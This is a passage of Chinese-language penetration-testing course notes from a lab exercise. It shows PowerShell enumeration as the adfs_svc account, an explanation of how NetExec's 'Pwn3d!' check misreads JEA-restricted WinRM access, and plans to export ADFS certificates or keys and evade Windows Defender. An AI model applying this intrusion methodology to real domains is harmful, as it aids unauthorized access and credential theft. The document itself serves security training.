PS C:\users\adfs_svc\desktop>

PS C:\users\adfs_svc\desktop> cd ../../administrator.0X0SECURITY
cd ../../administrator.0X0SECURITY
PS C:\users\administrator.0X0SECURITY> gci
gci
gci : Access to the path 'C:\users\administrator.0X0SECURITY' is denied.
At line:1 char:1
+ gci
+ ~~~
    + CategoryInfo          : PermissionDenied: (C:\users\administrator.0X0SECURITY:String) [Get-ChildItem], Unauthori 
   zedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

PS C:\users\administrator.0X0SECURITY> 

6.2 whoami /priv 显示权限有限

PS C:\Users\adfs_svc\Documents> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Users\adfs_svc\Documents> 

执行 whoami /priv 查看当前用户权限,发现只有两个基本权限:

  • SeChangeNotifyPrivilege (Bypass traverse checking)(默认所有用户都有)

    • 说明:允许用户遍历文件夹(即使对中间文件夹没有“列出目录”权限)。

    • 用途:系统默认启用,允许访问路径下具体文件时跳过中间层访问检查。

    • 用途场景

      • 可以访问 C:\Windows\System32\cmd.exe,即使不能列出 C:\Windows

      • 被很多进程用于正常文件操作。

  • SeIncreaseWorkingSetPrivilege (Increase a process working set)

    • 说明:允许进程增加其工作集大小(即分配更多内存页常驻物理内存)。

    • 用途:常用于图形界面程序请求更多内存空间,防止被换出。

    • 用途场景

      • 某些服务/驱动在注册时申请这个特权。

      • 可以在 CreateProcess 等 API 时设置 dwCreationFlags

这些权限远低于本地管理员应有的权限集。

6.3 追溯 NetExec (nxc) "Pwn3d!" 判断逻辑

6.3.1 查看 nxc 源码 (winrm.py)

nxc 是开源的,可以查看其判断 (Pwn3d!) 的逻辑。相关代码在 nxc/protocols/winrm.py 中的 check_if_admin 方法。

6.3.2 判断依据:访问 WS-Man Shell 端点 (http://schemas.microsoft.com/wbem/wsman/1/windows/shell) 是否成功

nxc 判断管理员权限的依据是:尝试通过 WinRM 枚举 http://schemas.microsoft.com/wbem/wsman/1/windows/shell 这个端点。如果该操作不抛出异常(即能够成功访问),则认为当前用户具有管理员权限 (self.admin_privs = True),并在输出中标记 (Pwn3d!)

6.3.3 JEA 环境下的误判:能访问端点不代表拥有完整管理员权限

  • 默认情况: 在标准 Windows 配置中,只有本地管理员组的成员才能成功访问上述 WS-Man Shell 端点。

  • JEA 的影响: JEA 允许管理员为非管理员用户(或虚拟账户、gMSA)配置对特定 WinRM 端点(包括 Shell 端点)的访问权限,但同时通过角色能力和语言模式严格限制其在该 Shell 中能执行的操作。

  • 误判原因: nxc 的判断逻辑只检查了是否能“连接到”这个 Shell 端点,而没有进一步验证在该 Shell 上下文中是否拥有真正的、不受限的管理员操作能力。JEA 的存在使得“能连接”不等于“有完整权限”。

6.4 结论:当前 adfs_svc 账户权限仍受 JEA 限制,并非真正的“Pwn3d!” (系统级完全控制)。

  • 尽管 nxc 标记为 Pwn3d!,且我们通过 JEA 绕过获得了看似“完整”的 PowerShell Shell,但 adfs_svc 用户的实际权限由于 JEA 的多维度限制(如运行上下文可能是虚拟账户,能执行的底层操作受限等),仍然远未达到系统管理员级别。

  • 这是一个重要的认知升级:工具的判断(如 Pwn3d!)可能因环境的复杂性(如 JEA)而不完全准确,需要结合实际的权限验证和操作来确认。

7. 后续方向与总结

7.1 ADFS 服务利用:即使非最高权限,仍可尝试利用 ADFS 服务本身。

  • 尽管当前 adfs_svc 账户的 Shell 权限受限,但其作为 ADFS 服务的运行账户,仍然可能拥有与 ADFS 服务交互、读取其配置、甚至导出相关证书或密钥的特定权限。后续攻击应聚焦于 ADFS 服务本身的漏洞和利用方法

7.2 免杀与防御绕过:靶场环境更新,增加了免杀难度。

  • 讲师提到,与上半年相比,当前靶场环境可能已更新,增加了免杀的挑战(如 Windows Defender 的实时监控)。后续利用 ADFS 的某些工具或脚本(如 RunasCS.exe)可能需要进行免杀处理或寻找 PowerShell 版本的替代品。

7.3 多路径探索:即使一条路受阻,也要尝试其他攻击路径。

  • 渗透测试是动态对抗的过程。如果 ADFS 路径因防御过强而暂时无法突破,应考虑是否存在其他攻击路径。

本次课程深入探讨了 PS Remoting 的复杂性、多操作系统环境下的渗透测试实践、JEA 受限 Shell 的原理与绕过,以及对 NetExec 工具判断逻辑的深度分析,为后续更复杂的域渗透和 ADFS 攻击奠定了坚实基础。

-.-

0

评论区